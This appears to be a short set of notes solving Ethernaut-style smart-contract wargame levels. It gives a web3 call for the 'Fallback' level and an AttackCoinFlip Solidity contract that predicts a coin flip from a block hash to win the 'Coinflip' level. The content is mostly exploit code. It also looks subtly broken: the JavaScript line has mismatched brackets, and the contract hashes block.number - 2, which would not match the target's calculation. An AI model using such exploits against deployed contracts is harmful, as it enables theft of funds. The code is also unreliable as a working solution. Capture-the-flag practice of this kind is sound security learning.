Fallback
await contract.methods['contribute()'].sendTransaction({from: player, value: toWei('0.0001'})
Coinflip
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./CoinFlip.sol";
contract AttackCoinFlip {
CoinFlip public coinFlip;
uint256 lastHash;
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
constructor(address payable _coinFlipAddres){
coinFlip = CoinFlip(_coinFlipAddres);
}
function attack() public {
uint256 blockValue = uint256(blockhash(block.number - 2));
if (lastHash == blockValue) {
revert();
}
lastHash = blockValue;
uint256 coin = blockValue / FACTOR;
bool side = coin == 1 ? true : false;
coinFlip.flip(side);
}
}
Resources